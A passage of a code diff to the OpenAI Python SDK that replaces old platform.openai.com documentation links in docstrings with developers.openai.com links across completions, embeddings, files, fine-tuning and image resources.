@@ -883,7 +888,7 @@ async def create(
whether they appear in the text so far, increasing the model's likelihood to
talk about new topics.
- [See more information about frequency and presence penalties.](https://platform.openai.com/docs/guides/text-generation)
+ [See more information about frequency and presence penalties.](https://developers.openai.com/api/docs/guides/text)
seed: If specified, our system will make a best effort to sample deterministically,
such that repeated requests with the same `seed` and parameters should return
@@ -917,7 +922,7 @@ async def create(
user: A unique identifier representing your end-user, which can help OpenAI to monitor
and detect abuse.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#end-user-ids).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
extra_headers: Send extra headers
@@ -966,10 +971,10 @@ async def create(
Args:
model: ID of the model to use. You can use the
- [List models](https://platform.openai.com/docs/api-reference/models/list) API to
- see all of your available models, or see our
- [Model overview](https://platform.openai.com/docs/models) for descriptions of
- them.
+ [List models](https://developers.openai.com/api/reference/resources/models/methods/list)
+ API to see all of your available models, or see our
+ [Model overview](https://developers.openai.com/api/docs/models) for descriptions
+ of them.
prompt: The prompt(s) to generate completions for, encoded as a string, array of
strings, array of tokens, or array of token arrays.
@@ -1001,17 +1006,18 @@ async def create(
existing frequency in the text so far, decreasing the model's likelihood to
repeat the same line verbatim.
- [See more information about frequency and presence penalties.](https://platform.openai.com/docs/guides/text-generation)
+ [See more information about frequency and presence penalties.](https://developers.openai.com/api/docs/guides/text)
logit_bias: Modify the likelihood of specified tokens appearing in the completion.
Accepts a JSON object that maps tokens (specified by their token ID in the GPT
tokenizer) to an associated bias value from -100 to 100. You can use this
- [tokenizer tool](/tokenizer?view=bpe) to convert text to token IDs.
- Mathematically, the bias is added to the logits generated by the model prior to
- sampling. The exact effect will vary per model, but values between -1 and 1
- should decrease or increase likelihood of selection; values like -100 or 100
- should result in a ban or exclusive selection of the relevant token.
+ [tokenizer tool](https://platform.openai.com/tokenizer?view=bpe) to convert text
+ to token IDs. Mathematically, the bias is added to the logits generated by the
+ model prior to sampling. The exact effect will vary per model, but values
+ between -1 and 1 should decrease or increase likelihood of selection; values
+ like -100 or 100 should result in a ban or exclusive selection of the relevant
+ token.
As an example, you can pass `{"50256": -100}` to prevent the <|endoftext|> token
from being generated.
@@ -1023,8 +1029,8 @@ async def create(
The maximum value for `logprobs` is 5.
- max_tokens: The maximum number of [tokens](/tokenizer) that can be generated in the
- completion.
+ max_tokens: The maximum number of [tokens](https://platform.openai.com/tokenizer) that can
+ be generated in the completion.
The token count of your prompt plus `max_tokens` cannot exceed the model's
context length.
@@ -1041,7 +1047,7 @@ async def create(
whether they appear in the text so far, increasing the model's likelihood to
talk about new topics.
- [See more information about frequency and presence penalties.](https://platform.openai.com/docs/guides/text-generation)
+ [See more information about frequency and presence penalties.](https://developers.openai.com/api/docs/guides/text)
seed: If specified, our system will make a best effort to sample deterministically,
such that repeated requests with the same `seed` and parameters should return
@@ -1075,7 +1081,7 @@ async def create(
user: A unique identifier representing your end-user, which can help OpenAI to monitor
and detect abuse.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#end-user-ids).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
extra_headers: Send extra headers
diff --git a/src/openai/resources/content_provenance_checks.py b/src/openai/resources/content_provenance_checks.py
index dbdc7d5b2f..93c35c17ae 100644
--- a/src/openai/resources/content_provenance_checks.py
+++ b/src/openai/resources/content_provenance_checks.py
@@ -53,7 +53,7 @@ def create(
) -> ContentProvenanceCheck:
"""
Check whether an image or audio file contains known OpenAI provenance signals.
- [Learn more about content provenance](/api/docs/guides/content-provenance).
+ [Learn more about content provenance](https://developers.openai.com/api/docs/guides/content-provenance).
If `not_detected`, it means the tool did not find supported signals in the
uploaded file. The content could still have been generated by OpenAI if the
@@ -127,7 +127,7 @@ async def create(
) -> ContentProvenanceCheck:
"""
Check whether an image or audio file contains known OpenAI provenance signals.
- [Learn more about content provenance](/api/docs/guides/content-provenance).
+ [Learn more about content provenance](https://developers.openai.com/api/docs/guides/content-provenance).
If `not_detected`, it means the tool did not find supported signals in the
uploaded file. The content could still have been generated by OpenAI if the
diff --git a/src/openai/resources/conversations/items.py b/src/openai/resources/conversations/items.py
index 9ae0d2a30b..f73161d941 100644
--- a/src/openai/resources/conversations/items.py
+++ b/src/openai/resources/conversations/items.py
@@ -67,7 +67,7 @@ def create(
items: The items to add to the conversation. You may add up to 20 items at a time.
include: Additional fields to include in the response. See the `include` parameter for
- [listing Conversation items above](https://platform.openai.com/docs/api-reference/conversations/list-items#conversations_list_items-include)
+ [listing Conversation items above](https://developers.openai.com/api/reference/resources/conversations/subresources/items/methods/list#%28resource%29%20conversations.items%20%3E%20%28method%29%20list%20%3E%20%28params%29%20default%20%3E%20%28param%29%20include%20%3E%20%28schema%29)
for more information.
extra_headers: Send extra headers
@@ -112,7 +112,7 @@ def retrieve(
Args:
include: Additional fields to include in the response. See the `include` parameter for
- [listing Conversation items above](https://platform.openai.com/docs/api-reference/conversations/list-items#conversations_list_items-include)
+ [listing Conversation items above](https://developers.openai.com/api/reference/resources/conversations/subresources/items/methods/list#%28resource%29%20conversations.items%20%3E%20%28method%29%20list%20%3E%20%28params%29%20default%20%3E%20%28param%29%20include%20%3E%20%28schema%29)
for more information.
extra_headers: Send extra headers
@@ -310,7 +310,7 @@ async def create(
items: The items to add to the conversation. You may add up to 20 items at a time.
include: Additional fields to include in the response. See the `include` parameter for
- [listing Conversation items above](https://platform.openai.com/docs/api-reference/conversations/list-items#conversations_list_items-include)
+ [listing Conversation items above](https://developers.openai.com/api/reference/resources/conversations/subresources/items/methods/list#%28resource%29%20conversations.items%20%3E%20%28method%29%20list%20%3E%20%28params%29%20default%20%3E%20%28param%29%20include%20%3E%20%28schema%29)
for more information.
extra_headers: Send extra headers
@@ -355,7 +355,7 @@ async def retrieve(
Args:
include: Additional fields to include in the response. See the `include` parameter for
- [listing Conversation items above](https://platform.openai.com/docs/api-reference/conversations/list-items#conversations_list_items-include)
+ [listing Conversation items above](https://developers.openai.com/api/reference/resources/conversations/subresources/items/methods/list#%28resource%29%20conversations.items%20%3E%20%28method%29%20list%20%3E%20%28params%29%20default%20%3E%20%28param%29%20include%20%3E%20%28schema%29)
for more information.
extra_headers: Send extra headers
diff --git a/src/openai/resources/embeddings.py b/src/openai/resources/embeddings.py
index 1868381372..75bf9b49f4 100644
--- a/src/openai/resources/embeddings.py
+++ b/src/openai/resources/embeddings.py
@@ -77,10 +77,10 @@ def create(
request.
model: ID of the model to use. You can use the
- [List models](https://platform.openai.com/docs/api-reference/models/list) API to
- see all of your available models, or see our
- [Model overview](https://platform.openai.com/docs/models) for descriptions of
- them.
+ [List models](https://developers.openai.com/api/reference/resources/models/methods/list)
+ API to see all of your available models, or see our
+ [Model overview](https://developers.openai.com/api/docs/models) for descriptions
+ of them.
dimensions: The number of dimensions the resulting output embeddings should have. Only
supported in `text-embedding-3` and later models.
@@ -90,7 +90,7 @@ def create(
user: A unique identifier representing your end-user, which can help OpenAI to monitor
and detect abuse.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#end-user-ids).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
extra_headers: Send extra headers
@@ -179,10 +179,10 @@ async def create(
request.
model: ID of the model to use. You can use the
- [List models](https://platform.openai.com/docs/api-reference/models/list) API to
- see all of your available models, or see our
- [Model overview](https://platform.openai.com/docs/models) for descriptions of
- them.
+ [List models](https://developers.openai.com/api/reference/resources/models/methods/list)
+ API to see all of your available models, or see our
+ [Model overview](https://developers.openai.com/api/docs/models) for descriptions
+ of them.
dimensions: The number of dimensions the resulting output embeddings should have. Only
supported in `text-embedding-3` and later models.
@@ -192,7 +192,7 @@ async def create(
user: A unique identifier representing your end-user, which can help OpenAI to monitor
and detect abuse.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#end-user-ids).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
extra_headers: Send extra headers
diff --git a/src/openai/resources/evals/evals.py b/src/openai/resources/evals/evals.py
index 9ebed4a1b6..a6aa916aae 100644
--- a/src/openai/resources/evals/evals.py
+++ b/src/openai/resources/evals/evals.py
@@ -81,7 +81,7 @@ def create(
data source, which dictates the schema of the data used in the evaluation. After
creating an evaluation, you can run it on different models and model parameters.
We support several types of graders and datasources. For more information, see
- the [Evals guide](https://platform.openai.com/docs/guides/evals).
+ the [Evals guide](https://developers.openai.com/api/docs/guides/evals).
Args:
data_source_config: The configuration for the data source used for the evaluation runs. Dictates the
@@ -365,7 +365,7 @@ async def create(
data source, which dictates the schema of the data used in the evaluation. After
creating an evaluation, you can run it on different models and model parameters.
We support several types of graders and datasources. For more information, see
- the [Evals guide](https://platform.openai.com/docs/guides/evals).
+ the [Evals guide](https://developers.openai.com/api/docs/guides/evals).
Args:
data_source_config: The configuration for the data source used for the evaluation runs. Dictates the
diff --git a/src/openai/resources/files.py b/src/openai/resources/files.py
index 820866685c..db2e77c2fc 100644
--- a/src/openai/resources/files.py
+++ b/src/openai/resources/files.py
@@ -82,20 +82,20 @@ def create(
- The Assistants API supports files up to 2 million tokens and of specific file
types. See the
- [Assistants Tools guide](https://platform.openai.com/docs/assistants/tools)
+ [Assistants Tools guide](https://developers.openai.com/api/docs/guides/tools)
for details.
- The Fine-tuning API only supports `.jsonl` files. The input also has certain
required formats for fine-tuning
- [chat](https://platform.openai.com/docs/api-reference/fine-tuning/chat-input)
+ [chat](https://developers.openai.com/api/docs/guides/supervised-fine-tuning#formatting-your-data)
or
- [completions](https://platform.openai.com/docs/api-reference/fine-tuning/completions-input)
+ [completions](https://developers.openai.com/api/docs/guides/supervised-fine-tuning#formatting-your-data)
models.
- The Batch API only supports `.jsonl` files up to 200 MB in size. The input
also has a specific required
- [format](https://platform.openai.com/docs/api-reference/batch/request-input).
+ [format](https://developers.openai.com/api/docs/guides/batch#1-prepare-your-batch-file).
- For Retrieval or `file_search` ingestion, upload files here first. If you need
to attach multiple uploaded files to the same vector store, use
- [`/vector_stores/{vector_store_id}/file_batches`](https://platform.openai.com/docs/api-reference/vector-stores-file-batches/createBatch)
+ [`/vector_stores/{vector_store_id}/file_batches`](https://developers.openai.com/api/reference/resources/vector_stores/subresources/file_batches/methods/create)
instead of attaching them one by one. Vector store attachment has separate
limits from file upload, including 2,000 attached files per minute per
organization.
@@ -423,20 +423,20 @@ async def create(
- The Assistants API supports files up to 2 million tokens and of specific file
types. See the
- [Assistants Tools guide](https://platform.openai.com/docs/assistants/tools)
+ [Assistants Tools guide](https://developers.openai.com/api/docs/guides/tools)
for details.
- The Fine-tuning API only supports `.jsonl` files. The input also has certain
required formats for fine-tuning
- [chat](https://platform.openai.com/docs/api-reference/fine-tuning/chat-input)
+ [chat](https://developers.openai.com/api/docs/guides/supervised-fine-tuning#formatting-your-data)
or
- [completions](https://platform.openai.com/docs/api-reference/fine-tuning/completions-input)
+ [completions](https://developers.openai.com/api/docs/guides/supervised-fine-tuning#formatting-your-data)
models.
- The Batch API only supports `.jsonl` files up to 200 MB in size. The input
also has a specific required
- [format](https://platform.openai.com/docs/api-reference/batch/request-input).
+ [format](https://developers.openai.com/api/docs/guides/batch#1-prepare-your-batch-file).
- For Retrieval or `file_search` ingestion, upload files here first. If you need
to attach multiple uploaded files to the same vector store, use
- [`/vector_stores/{vector_store_id}/file_batches`](https://platform.openai.com/docs/api-reference/vector-stores-file-batches/createBatch)
+ [`/vector_stores/{vector_store_id}/file_batches`](https://developers.openai.com/api/reference/resources/vector_stores/subresources/file_batches/methods/create)
instead of attaching them one by one. Vector store attachment has separate
limits from file upload, including 2,000 attached files per minute per
organization.
diff --git a/src/openai/resources/fine_tuning/alpha/graders.py b/src/openai/resources/fine_tuning/alpha/graders.py
index d7fa11ec50..cf70c5fad4 100644
--- a/src/openai/resources/fine_tuning/alpha/graders.py
+++ b/src/openai/resources/fine_tuning/alpha/graders.py
@@ -61,13 +61,14 @@ def run(
model_sample: The model sample to be evaluated. This value will be used to populate the
`sample` namespace. See
- [the guide](https://platform.openai.com/docs/guides/graders) for more details.
- The `output_json` variable will be populated if the model sample is a valid JSON
- string.
+ [the guide](https://developers.openai.com/api/docs/guides/graders) for more
+ details. The `output_json` variable will be populated if the model sample is a
+ valid JSON string.
item: The dataset item provided to the grader. This will be used to populate the
`item` namespace. See
- [the guide](https://platform.openai.com/docs/guides/graders) for more details.
+ [the guide](https://developers.openai.com/api/docs/guides/graders) for more
+ details.
extra_headers: Send extra headers
@@ -179,13 +180,14 @@ async def run(
model_sample: The model sample to be evaluated. This value will be used to populate the
`sample` namespace. See
- [the guide](https://platform.openai.com/docs/guides/graders) for more details.
- The `output_json` variable will be populated if the model sample is a valid JSON
- string.
+ [the guide](https://developers.openai.com/api/docs/guides/graders) for more
+ details. The `output_json` variable will be populated if the model sample is a
+ valid JSON string.
item: The dataset item provided to the grader. This will be used to populate the
`item` namespace. See
- [the guide](https://platform.openai.com/docs/guides/graders) for more details.
+ [the guide](https://developers.openai.com/api/docs/guides/graders) for more
+ details.
extra_headers: Send extra headers
diff --git a/src/openai/resources/fine_tuning/checkpoints/permissions.py b/src/openai/resources/fine_tuning/checkpoints/permissions.py
index 7ac669da31..7d2136f4db 100644
--- a/src/openai/resources/fine_tuning/checkpoints/permissions.py
+++ b/src/openai/resources/fine_tuning/checkpoints/permissions.py
@@ -63,7 +63,8 @@ def create(
timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SyncPage[PermissionCreateResponse]:
"""
- **NOTE:** Calling this endpoint requires an [admin API key](../admin-api-keys).
+ **NOTE:** Calling this endpoint requires an
+ [admin API key](https://developers.openai.com/api/reference/resources/admin/subresources/organization/subresources/admin_api_keys).
This enables organization owners to share fine-tuned models with other projects
in their organization.
@@ -118,7 +119,8 @@ def retrieve(
timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> PermissionRetrieveResponse:
"""
- **NOTE:** This endpoint requires an [admin API key](../admin-api-keys).
+ **NOTE:** This endpoint requires an
+ [admin API key](https://developers.openai.com/api/reference/resources/admin/subresources/organization/subresources/admin_api_keys).
Organization owners can use this endpoint to view all permissions for a
fine-tuned model checkpoint.
@@ -184,7 +186,8 @@ def list(
timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SyncConversationCursorPage[PermissionListResponse]:
"""
- **NOTE:** This endpoint requires an [admin API key](../admin-api-keys).
+ **NOTE:** This endpoint requires an
+ [admin API key](https://developers.openai.com/api/reference/resources/admin/subresources/organization/subresources/admin_api_keys).
Organization owners can use this endpoint to view all permissions for a
fine-tuned model checkpoint.
@@ -248,7 +251,8 @@ def delete(
timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> PermissionDeleteResponse:
"""
- **NOTE:** This endpoint requires an [admin API key](../admin-api-keys).
+ **NOTE:** This endpoint requires an
+ [admin API key](https://developers.openai.com/api/reference/resources/admin/subresources/organization/subresources/admin_api_keys).
Organization owners can use this endpoint to delete a permission for a
fine-tuned model checkpoint.
@@ -320,7 +324,8 @@ def create(
timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncPaginator[PermissionCreateResponse, AsyncPage[PermissionCreateResponse]]:
"""
- **NOTE:** Calling this endpoint requires an [admin API key](../admin-api-keys).
+ **NOTE:** Calling this endpoint requires an
+ [admin API key](https://developers.openai.com/api/reference/resources/admin/subresources/organization/subresources/admin_api_keys).
This enables organization owners to share fine-tuned models with other projects
in their organization.
@@ -375,7 +380,8 @@ async def retrieve(
timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> PermissionRetrieveResponse:
"""
- **NOTE:** This endpoint requires an [admin API key](../admin-api-keys).
+ **NOTE:** This endpoint requires an
+ [admin API key](https://developers.openai.com/api/reference/resources/admin/subresources/organization/subresources/admin_api_keys).
Organization owners can use this endpoint to view all permissions for a
fine-tuned model checkpoint.
@@ -441,7 +447,8 @@ def list(
timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncPaginator[PermissionListResponse, AsyncConversationCursorPage[PermissionListResponse]]:
"""
- **NOTE:** This endpoint requires an [admin API key](../admin-api-keys).
+ **NOTE:** This endpoint requires an
+ [admin API key](https://developers.openai.com/api/reference/resources/admin/subresources/organization/subresources/admin_api_keys).
Organization owners can use this endpoint to view all permissions for a
fine-tuned model checkpoint.
@@ -505,7 +512,8 @@ async def delete(
timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> PermissionDeleteResponse:
"""
- **NOTE:** This endpoint requires an [admin API key](../admin-api-keys).
+ **NOTE:** This endpoint requires an
+ [admin API key](https://developers.openai.com/api/reference/resources/admin/subresources/organization/subresources/admin_api_keys).
Organization owners can use this endpoint to delete a permission for a
fine-tuned model checkpoint.
diff --git a/src/openai/resources/fine_tuning/jobs/jobs.py b/src/openai/resources/fine_tuning/jobs/jobs.py
index b5fdd0b0de..2f708a64b9 100644
--- a/src/openai/resources/fine_tuning/jobs/jobs.py
+++ b/src/openai/resources/fine_tuning/jobs/jobs.py
@@ -84,29 +84,30 @@ def create(
Response includes details of the enqueued job including job status and the name
of the fine-tuned models once complete.
- [Learn more about fine-tuning](https://platform.openai.com/docs/guides/model-optimization)
+ [Learn more about fine-tuning](https://developers.openai.com/api/docs/guides/model-optimization)
Args:
model: The name of the model to fine-tune. You can select one of the
- [supported models](https://platform.openai.com/docs/guides/fine-tuning#which-models-can-be-fine-tuned).
+ [supported models](https://developers.openai.com/api/docs/guides/model-optimization#fine-tuning-methods).
training_file: The ID of an uploaded file that contains training data.
- See [upload file](https://platform.openai.com/docs/api-reference/files/create)
+ See
+ [upload file](https://developers.openai.com/api/reference/resources/files/methods/create)
for how to upload a file.
Your dataset must be formatted as a JSONL file. Additionally, you must upload
your file with the purpose `fine-tune`.
The contents of the file should differ depending on if the model uses the
- [chat](https://platform.openai.com/docs/api-reference/fine-tuning/chat-input),
- [completions](https://platform.openai.com/docs/api-reference/fine-tuning/completions-input)
+ [chat](https://developers.openai.com/api/docs/guides/supervised-fine-tuning#formatting-your-data),
+ [completions](https://developers.openai.com/api/docs/guides/supervised-fine-tuning#formatting-your-data)
format, or if the fine-tuning method uses the
- [preference](https://platform.openai.com/docs/api-reference/fine-tuning/preference-input)
+ [preference](https://developers.openai.com/api/docs/guides/direct-preference-optimization)
format.
See the
- [fine-tuning guide](https://platform.openai.com/docs/guides/model-optimization)
+ [fine-tuning guide](https://developers.openai.com/api/docs/guides/model-optimization)
for more details.
hyperparameters: The hyperparameters used for the fine-tuning job. This value is now deprecated
@@ -144,7 +145,7 @@ def create(
the purpose `fine-tune`.
See the
- [fine-tuning guide](https://platform.openai.com/docs/guides/model-optimization)
+ [fine-tuning guide](https://developers.openai.com/api/docs/guides/model-optimization)
for more details.
extra_headers: Send extra headers
@@ -195,7 +196,7 @@ def retrieve(
"""
Get info about a fine-tuning job.
- [Learn more about fine-tuning](https://platform.openai.com/docs/guides/model-optimization)
+ [Learn more about fine-tuning](https://developers.openai.com/api/docs/guides/model-optimization)
Args:
extra_headers: Send extra headers
@@ -489,29 +490,30 @@ async def create(
Response includes details of the enqueued job including job status and the name
of the fine-tuned models once complete.
- [Learn more about fine-tuning](https://platform.openai.com/docs/guides/model-optimization)
+ [Learn more about fine-tuning](https://developers.openai.com/api/docs/guides/model-optimization)
Args:
model: The name of the model to fine-tune. You can select one of the
- [supported models](https://platform.openai.com/docs/guides/fine-tuning#which-models-can-be-fine-tuned).
+ [supported models](https://developers.openai.com/api/docs/guides/model-optimization#fine-tuning-methods).
training_file: The ID of an uploaded file that contains training data.
- See [upload file](https://platform.openai.com/docs/api-reference/files/create)
+ See
+ [upload file](https://developers.openai.com/api/reference/resources/files/methods/create)
for how to upload a file.
Your dataset must be formatted as a JSONL file. Additionally, you must upload
your file with the purpose `fine-tune`.
The contents of the file should differ depending on if the model uses the
- [chat](https://platform.openai.com/docs/api-reference/fine-tuning/chat-input),
- [completions](https://platform.openai.com/docs/api-reference/fine-tuning/completions-input)
+ [chat](https://developers.openai.com/api/docs/guides/supervised-fine-tuning#formatting-your-data),
+ [completions](https://developers.openai.com/api/docs/guides/supervised-fine-tuning#formatting-your-data)
format, or if the fine-tuning method uses the
- [preference](https://platform.openai.com/docs/api-reference/fine-tuning/preference-input)
+ [preference](https://developers.openai.com/api/docs/guides/direct-preference-optimization)
format.
See the
- [fine-tuning guide](https://platform.openai.com/docs/guides/model-optimization)
+ [fine-tuning guide](https://developers.openai.com/api/docs/guides/model-optimization)
for more details.
hyperparameters: The hyperparameters used for the fine-tuning job. This value is now deprecated
@@ -549,7 +551,7 @@ async def create(
the purpose `fine-tune`.
See the
- [fine-tuning guide](https://platform.openai.com/docs/guides/model-optimization)
+ [fine-tuning guide](https://developers.openai.com/api/docs/guides/model-optimization)
for more details.
extra_headers: Send extra headers
@@ -600,7 +602,7 @@ async def retrieve(
"""
Get info about a fine-tuning job.
- [Learn more about fine-tuning](https://platform.openai.com/docs/guides/model-optimization)
+ [Learn more about fine-tuning](https://developers.openai.com/api/docs/guides/model-optimization)
Args:
extra_headers: Send extra headers
diff --git a/src/openai/resources/images.py b/src/openai/resources/images.py
index 62d00ef07b..a888332bae 100644
--- a/src/openai/resources/images.py
+++ b/src/openai/resources/images.py
@@ -85,7 +85,7 @@ def create_variation(
user: A unique identifier representing your end-user, which can help OpenAI to monitor
and detect abuse.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#end-user-ids).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
extra_headers: Send extra headers
@@ -241,12 +241,12 @@ def edit(
`1024x1024`, `1792x1024`, or `1024x1792`.
stream: Edit the image in streaming mode. Defaults to `false`. See the
- [Image generation guide](https://platform.openai.com/docs/guides/image-generation)
+ [Image generation guide](https://developers.openai.com/api/docs/guides/image-generation)
for more information.
user: A unique identifier representing your end-user, which can help OpenAI to monitor
and detect abuse.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#end-user-ids).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
extra_headers: Send extra headers
@@ -307,7 +307,7 @@ def edit(
characters for `dall-e-2`, and 32000 characters for the GPT image models.
stream: Edit the image in streaming mode. Defaults to `false`. See the
- [Image generation guide](https://platform.openai.com/docs/guides/image-generation)
+ [Image generation guide](https://developers.openai.com/api/docs/guides/image-generation)
for more information.
background: Allows to set transparency for the background of the generated image(s). Must be
@@ -379,7 +379,7 @@ def edit(
user: A unique identifier representing your end-user, which can help OpenAI to monitor
and detect abuse.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#end-user-ids).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
extra_headers: Send extra headers
@@ -440,7 +440,7 @@ def edit(
characters for `dall-e-2`, and 32000 characters for the GPT image models.
stream: Edit the image in streaming mode. Defaults to `false`. See the
- [Image generation guide](https://platform.openai.com/docs/guides/image-generation)
+ [Image generation guide](https://developers.openai.com/api/docs/guides/image-generation)
for more information.
background: Allows to set transparency for the background of the generated image(s). Must be
@@ -512,7 +512,7 @@ def edit(
user: A unique identifier representing your end-user, which can help OpenAI to monitor
and detect abuse.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#end-user-ids).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
extra_headers: Send extra headers
@@ -627,7 +627,7 @@ def generate(
) -> ImagesResponse:
"""
Creates an image given a prompt.
- [Learn more](https://platform.openai.com/docs/guides/images).
+ [Learn more](https://developers.openai.com/api/docs/guides/images-vision).
Args:
prompt: A text description of the desired image(s). The maximum length is 32000
@@ -701,7 +701,7 @@ def generate(
`1024x1024`, `1792x1024`, or `1024x1792`.
stream: Generate the image in streaming mode. Defaults to `false`. See the
- [Image generation guide](https://platform.openai.com/docs/guides/image-generation)
+ [Image generation guide](https://developers.openai.com/api/docs/guides/image-generation)
for more information. This parameter is only supported for the GPT image models.
style: The style of the generated images. This parameter is only supported for
@@ -711,7 +711,7 @@ def generate(
user: A unique identifier representing your end-user, which can help OpenAI to monitor
and detect abuse.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#end-user-ids).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
extra_headers: Send extra headers
@@ -755,7 +755,7 @@ def generate(
) -> Stream[ImageGenStreamEvent]:
"""
Creates an image given a prompt.
- [Learn more](https://platform.openai.com/docs/guides/images).
+ [Learn more](https://developers.openai.com/api/docs/guides/images-vision).
Args:
prompt: A text description of the desired image(s). The maximum length is 32000
@@ -763,7 +763,7 @@ def generate(
characters for `dall-e-3`.
stream: Generate the image in streaming mode. Defaults to `false`. See the
- [Image generation guide](https://platform.openai.com/docs/guides/image-generation)
+ [Image generation guide](https://developers.openai.com/api/docs/guides/image-generation)
for more information. This parameter is only supported for the GPT image models.
background: Allows to set transparency for the background of the generated image(s). Must be
@@ -839,7 +839,7 @@ def generate(
user: A unique identifier representing your end-user, which can help OpenAI to monitor
and detect abuse.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#end-user-ids).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
extra_headers: Send extra headers
@@ -883,7 +883,7 @@ def generate(
) -> ImagesResponse | Stream[ImageGenStreamEvent]:
"""
Creates an image given a prompt.
- [Learn more](https://platform.openai.com/docs/guides/images).
+ [Learn more](https://developers.openai.com/api/docs/guides/images-vision).
Args:
prompt: A text description of the desired image(s). The maximum length is 32000
@@ -891,7 +891,7 @@ def generate(
characters for `dall-e-3`.
stream: Generate the image in streaming mode. Defaults to `false`. See the
- [Image generation guide](https://platform.openai.com/docs/guides/image-generation)
+ [Image generation guide](https://developers.openai.com/api/docs/guides/image-generation)
for more information. This parameter is only supported for the GPT image models.
background: Allows to set transparency for the background of the generated image(s). Must be
@@ -967,7 +967,7 @@ def generate(
user: A unique identifier representing your end-user, which can help OpenAI to monitor
and detect abuse.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#end-user-ids).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
extra_headers: Send extra headers
@@ -1105,7 +1105,7 @@ async def create_variation(
user: A unique identifier representing your end-user, which can help OpenAI to monitor
and detect abuse.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#end-user-ids).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
extra_headers: Send extra headers
@@ -1261,12 +1261,12 @@ async def edit(
`1024x1024`, `1792x1024`, or `1024x1792`.
stream: Edit the image in streaming mode. Defaults to `false`. See the
- [Image generation guide](https://platform.openai.com/docs/guides/image-generation)
+ [Image generation guide](https://developers.openai.com/api/docs/guides/image-generation)
for more information.
user: A unique identifier representing your end-user, which can help OpenAI to monitor
and detect abuse.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#end-user-ids).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
extra_headers: Send extra headers
@@ -1327,7 +1327,7 @@ async def edit(
characters for `dall-e-2`, and 32000 characters for the GPT image models.
stream: Edit the image in streaming mode. Defaults to `false`. See the
- [Image generation guide](https://platform.openai.com/docs/guides/image-generation)
+ [Image generation guide](https://developers.openai.com/api/docs/guides/image-generation)
for more information.
background: Allows to set transparency for the background of the generated image(s). Must be
@@ -1399,7 +1399,7 @@ async def edit(
user: A unique identifier representing your end-user, which can help OpenAI to monitor
and detect abuse.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#end-user-ids).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
extra_headers: Send extra headers
@@ -1460,7 +1460,7 @@ async def edit(
characters for `dall-e-2`, and 32000 characters for the GPT image models.
stream: Edit the image in streaming mode. Defaults to `false`. See the
- [Image generation guide](https://platform.openai.com/docs/guides/image-generation)
+ [Image generation guide](https://developers.openai.com/api/docs/guides/image-generation)
for more information.
background: Allows to set transparency for the background of the generated image(s). Must be
@@ -1532,7 +1532,7 @@ async def edit(
user: A unique identifier representing your end-user, which can help OpenAI to monitor
and detect abuse.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#end-user-ids).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
extra_headers: Send extra headers
@@ -1647,7 +1647,7 @@ async def generate(
) -> ImagesResponse:
"""
Creates an image given a prompt.
- [Learn more](https://platform.openai.com/docs/guides/images).
+ [Learn more](https://developers.openai.com/api/docs/guides/images-vision).
Args:
prompt: A text description of the desired image(s). The maximum length is 32000
@@ -1721,7 +1721,7 @@ async def generate(
`1024x1024`, `1792x1024`, or `1024x1792`.
stream: Generate the image in streaming mode. Defaults to `false`. See the
- [Image generation guide](https://platform.openai.com/docs/guides/image-generation)
+ [Image generation guide](https://developers.openai.com/api/docs/guides/image-generation)
for more information. This parameter is only supported for the GPT image models.
style: The style of the generated images. This parameter is only supported for
@@ -1731,7 +1731,7 @@ async def generate(
user: A unique identifier representing your end-user, which can help OpenAI to monitor
and detect abuse.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#end-user-ids).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
extra_headers: Send extra headers
@@ -1775,7 +1775,7 @@ async def generate(
) -> AsyncStream[ImageGenStreamEvent]:
"""
Creates an image given a prompt.
- [Learn more](https://platform.openai.com/docs/guides/images).
+ [Learn more](https://developers.openai.com/api/docs/guides/images-vision).
Args:
prompt: A text description of the desired image(s). The maximum length is 32000
@@ -1783,7 +1783,7 @@ async def generate(
